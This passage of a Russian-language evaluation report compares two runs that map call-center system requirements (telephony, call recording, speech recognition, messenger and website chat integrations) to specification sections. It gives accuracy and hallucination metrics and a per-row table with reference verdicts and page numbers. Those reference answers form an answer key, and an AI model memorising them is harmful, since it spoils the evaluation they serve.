\u043c\u0430\u0440\u043a\u0435\u0440\u043e\u0432. \u0421\u0442\u0440\u043e\u043a\u0430 \u00ab\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u00bb, \u0442\u043e\u043b\u044c\u043a\u043e\\n\u0435\u0441\u043b\u0438 \u0432\u0441\u0435 reference claim/status tuples \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u0437\u0430\u0438\u043c\u043d\u043e-\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u0443\u044e \u043f\u0430\u0440\u0443 \u0442\u043e\u0433\u043e \u0436\u0435\\n\u0441\u0442\u0430\u0442\u0443\u0441\u0430 \u0441 token-Jaccard \u22650.25 \u0438 \u043b\u0438\u0448\u043d\u0438\u0445 claims \u043d\u0435\u0442; \u0438\u043d\u0430\u0447\u0435 \u00ab\u0433\u0440\u0443\u0431\u043e\u00bb. \u041f\u043e\u043b\u043d\u044b\u0435 \u0442\u0435\u043a\u0441\u0442\u044b,\\n\u0441\u0442\u0430\u0442\u0443\u0441\u044b, \u0442\u043e\u043a\u0435\u043d\u044b \u0438 \u043f\u0430\u0440\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432 JSON. \u0414\u0432\u0435 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438\\n(\u211661: \u00ab\u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0432\u0435\u0440\u043a\u0438\u00bb; \u2116187: \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u00ab\u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043e\u043a\u043d\u0430\u00bb) \u0438\u043c\u0435\u044e\u0442 \u044f\u0432\u043d\u044b\u0435\\nreviewed status annotations, \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u044b\u0435 \u0442\u0435\u0441\u0442\u043e\u043c. Citation-target Jaccard \u043f\u043e\u043a\u0430\u0437\u0430\u043d\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043a\u0430\u043a \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 `cite J` \u0438 \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0443. RUN-0066 \u0440\u0430\u0432\u0435\u043d\\n100% \u043f\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044e \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e reference, \u0430 \u043d\u0435 \u043a\u0430\u043a \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430.\\n\\n## \u041c\u0435\u0442\u0440\u0438\u043a\u0438\\n\\n| \u041c\u0435\u0442\u0440\u0438\u043a\u0430 | RUN-0065 | RUN-0066 |\\n| --- | ---: | ---: |\\n| `Accuracy_verdict` | 31/65 = 47.7% | 65/65 = 100.0% |\\n| `Accuracy_page` (eligible rows, \u0434\u043e\u043f\u0443\u0441\u043a \u22642) | 17/45 = 37.8% | 64/64 = 100.0% |\\n| `Hallucination_rate` (\u0394 >2 / \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438) | 28/65 = 43.1% | 0/65 = 0.0% |\\n| `Decomposition_quality` (\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e: exact claim/status matching) | 0/65 = 0.0% | 65/65 = 100.0% |\\n\\nRUN-0066 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 \u2116173, \u0433\u0434\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0440\u043e\u0433\\n85% \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442; \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043d\u0430\u043c\u0435\u043d\u0430\u0442\u0435\u043b\u044c `Accuracy_page` \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u0440\u0430\u0432\u0435\u043d 64, \u0430 \u043d\u0435 65.\\n\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043d\u0435 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f.\\n\\n## \u041f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435\\n\\n\u0412\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432\u0441\u0435 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u0433\u0434\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0441\u044b\u043b\u0430\u043b\u0441\u044f \u043d\u0430 \u043e\u0434\u0438\u043d \u0438\u0437\\n\u043f\u044f\u0442\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432: \u00a74.5.3.4, \u00a74.5.11.2.2, \u00a74.5.19, \u00a74.6.3.5 \u0438\u043b\u0438 \u00a75.\\n\u041a\u043e\u043b\u043e\u043d\u043a\u0430 \u00ab\u0424\u0430\u043a\u0442\u00bb \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0430\u043b\u043e\u043d RUN-0066, \u043d\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432 \u043d\u0435\u0439 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\\n\u043f\u0435\u0440\u0435\u0447\u0438\u0442\u0430\u043d\u044b \u0438\u0437 frontmatter \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\\n\\n\\n| \u2116 | \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 (\u0441\u043e\u043a\u0440\u0430\u0449\u0435\u043d\u043e) | RUN-0065: \u0432\u0435\u0440\u0434\u0438\u043a\u0442; \u00a7@\u0441\u0442\u0440. | RUN-0066: \u0432\u0435\u0440\u0434\u0438\u043a\u0442; \u00a7@\u0441\u0442\u0440. | \u0424\u0430\u043a\u0442: \u0432\u0435\u0440\u0434\u0438\u043a\u0442; \u00a7@\u0441\u0442\u0440. | \u0414\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f 65/66 (claim match; cite J) |\\n| ---: | --- | --- | --- | --- | --- |\\n| 11 | \u041f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 \u0432 \u0432\u0438\u0434\u0435 \u0412\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0410\u0422\u0421 \u0441 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u2026 | \u0414\u0430; \u00a75@520 | \u0414\u0430; \u00a75@520; \u00a74.4.2.1@105-121 | \u0414\u0430; \u00a75@520; \u00a74.4.2.1@105-121 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=50.0% |\\n| 15 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043e\u0431\u043b\u0430\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043f\u0443\u043b\u043e\u043c \u043d\u043e\u043c\u0435\u0440\u043d\u043e\u0439 \u0435\u043c\u043a\u043e\u0441\u0442\u0438, \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u0431\u043e\u0440\u0430 \u0438 \u0437\u0430\u043a\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.6.6@488-490; \u00a74.5.19@414-416 | \u0414\u0430; \u00a74.6.6@488-490; \u00a74.5.19@414-416 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 17 | \u0414\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u043c\u0435\u0440\u043d\u0443\u044e \u0451\u043c\u043a\u043e\u0441\u0442\u044c \u00ab\u0411\u0438\u043b\u0430\u0439\u043d\u00bb \u0437\u0430 \u0441\u0447\u0451\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u2026 | \u0414\u0430; \u00a75@520 | \u0414\u0430; \u00a75.3.1@522; \u00a76@22-30 | \u0414\u0430; \u00a75.3.1@522; \u00a76@22-30 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 44 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u043d\u043e\u043c\u0435\u0440\u0430 \u043f\u0440\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u2026 | \u0414\u0430; \u00a75@520 | \u0414\u0430; \u00a74.5.19@414-416; \u00a75@520 | \u0414\u0430; \u00a74.5.19@414-416; \u00a75@520 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=50.0% |\\n| 45 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u0437 \u043f\u0443\u043b\u0430 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.5.19@414-416; \u00a74.5.19.7@427-428 | \u0414\u0430; \u00a74.5.19@414-416; \u00a74.5.19.7@427-428 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 48 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0438 \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 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\u00a74.5.3.4@209-213; \u00a74.6.5.2@478-480 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.3.1@194-203; \u00a74.5.3.4@209-213; \u00a74.6.5.2@478-480 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=33.3% |\\n| 61 | \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043e\u0431\u0437\u0432\u043e\u043d\u0430 \u043f\u043e API \u0438\u043b\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.19@414-416 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.6.6@268-271; \u00a711.4@345-366 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.6.6@268-271; \u00a711.4@345-366 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(\u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f, \u043b\u043e\u0433\u0438\u043d/\u043f\u0430\u0440\u043e\u043b\u044c) | \u043f\u0443\u0441\u0442\u043e; \u2014 | \u0414\u0430; \u00a74.6.3.1@448-452; \u00a74.6.3.5@470-471; \u00a73@5-6 | \u0414\u0430; \u00a74.6.3.1@448-452; \u00a74.6.3.5@470-471; \u00a73@5-6 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 102 | - \u0440\u0430\u0431\u043e\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0437\u0432\u043e\u043d\u0430 - \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435/\u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435, \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432 | \u043f\u0443\u0441\u0442\u043e; \u2014 | \u0414\u0430; \u00a73.3@17-20; \u00a73.5@28-32; \u00a75@46-49 | \u0414\u0430; \u00a73.3@17-20; \u00a73.5@28-32; \u00a75@46-49 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 115 | - \u043a\u0430\u0440\u0443\u0441\u0435\u043b\u044c \u043d\u043e\u043c\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u0438 \u043e\u0431\u0437\u0432\u043e\u043d\u0435 (\u043a\u0430\u0436\u0434\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u2026 | \u0414\u0430; \u00a74.5.19@414-416 | \u0414\u0430; \u00a74.5.19@414-416; \u00a74.5.19.7@427-428 | \u0414\u0430; \u00a74.5.19@414-416; \u00a74.5.19.7@427-428 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=50.0% |\\n| 163 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 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\u0440\u0435\u0447\u0438 \u0432 \u0437\u0430\u043f\u0438\u0441\u044f\u0445 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u043e\u0432\u2026 | \u0414\u0430; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a77.1.1@104-105; \u00a716.3@490-498 | \u0414\u0430; \u00a77.1.1@104-105; \u00a716.3@490-498 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 173 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0447\u044c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 85% \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.3.4@226-231 | \u041d\u0435\u0442; \u2014 | \u041d\u0435\u0442; \u2014 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 174 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c, \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0442\u044c \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u044b \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u0438 \u043a\u043b\u0438\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a73.2@14-16; \u00a77.1.1@104-105 | \u0414\u0430; \u00a73.2@14-16; \u00a77.1.1@104-105 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 177 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u0430: | \u0414\u0430; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a74.1@62-69; \u00a74.5.3.1@194-203 | \u0414\u0430; \u00a74.1@62-69; \u00a74.5.3.1@194-203 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 182 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u043a\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0432\u043e\u043d\u043a\u0430 \u0441 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c 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184 | \u0412 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0430\u0443\u0434\u0438\u043e\u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u043e\u0432\u2026 | \u0414\u0430; \u00a74.5.3.4@226-231 | \u0414\u0430; \u00a74.2@60-64; \u00a710@105-107 | \u0414\u0430; \u00a74.2@60-64; \u00a710@105-107 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 187 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 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\u0441\u043e\u0431\u044b\u0442\u0438\u044f\u043c\u0438 \u0432 \u043a\u0430\u043d\u0430\u043b\u0430\u0445 Telegram \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c \u043a\u043e\u043b\u043b-\u0442\u0440\u0435\u043a\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.5.11.2.2@319-324; \u00a74.5.11.2.2@293-297; \u00a74.2.3@79 | \u0414\u0430; \u00a74.5.11.2.2@319-324; \u00a74.5.11.2.2@293-297; \u00a74.2.3@79 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 302 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 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\u00a74.5.11.2.2@297-309; \u00a74.2.3.1@79-80 | \u0414\u0430; \u00a74.2.3.4@97; \u00a74.5.11.2.2@297-309; \u00a74.2.3.1@79-80 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 304 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432 \u0447\u0430\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.5.11.2.2@297-309; \u00a74.2@132-133 | \u0414\u0430; \u00a74.5.11.2.2@297-309; \u00a74.2@132-133 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 306 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0451\u043c \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0430 \u0438\u0437 Max \u0438 Telegram (\u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.10@275-276 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.11.2.2@319-324; \u00a74.5.11.2.2@309-315; \u00a74.5.11.2.2@324 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.11.2.2@319-324; \u00a74.5.11.2.2@309-315; \u00a74.5.11.2.2@324 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 312 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0441\u0430\u0439\u0442 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u043e\u043d\u043b\u0430\u0439\u043d \u0447\u0430\u0442 (\u0447\u0430\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.5.11.2.2@297-309; \u00a74.2.3.4@97; \u00a74.2.3.1@79-80 | \u0414\u0430; \u00a74.5.11.2.2@297-309; \u00a74.2.3.4@97; \u00a74.2.3.1@79-80 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 313 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0441\u0430\u0439\u0442 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0444\u043e\u0440\u043c\u0443 \u0434\u043b\u044f \u0437\u0430\u043a\u0430\u2026 | \u041d\u0435\u0442; \u2014 | \u0414\u0430; \u00a74.5.11.2.2@289-293; \u00a74.2.3.3@87; \u00a74.2.3.1@79-80 | \u0414\u0430; \u00a74.5.11.2.2@289-293; \u00a74.2.3.3@87; \u00a74.2.3.1@79-80 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 314 | \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0441\u0430\u0439\u0442 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0444\u043e\u0440\u043c\u0443 \u043b\u0438\u0434\u043e\u0433\u0435\u043d\u0435\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.10@275-276 | \u0414\u0430; \u00a74.5.11.2.2@293-297; \u00a74.2.3.1@79-80 | \u0414\u0430; \u00a74.5.11.2.2@293-297; \u00a74.2.3.1@79-80 | \u0433\u0440\u0443\u0431\u043e 0.0%/\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e 100.0%; cite J=0.0% |\\n| 315 | \u0412 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 \u043a\u0430\u043d\u0430\u043b\u043e\u043c \\\"\u0410\u0432\u0438\u0442\u043e \u0420\u0430\u0431\u043e\u0442\u0430\\\". \u0421\u0438\u0441\u0442\u0435\u043c\u2026 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e; \u00a74.5.10@275-276 | 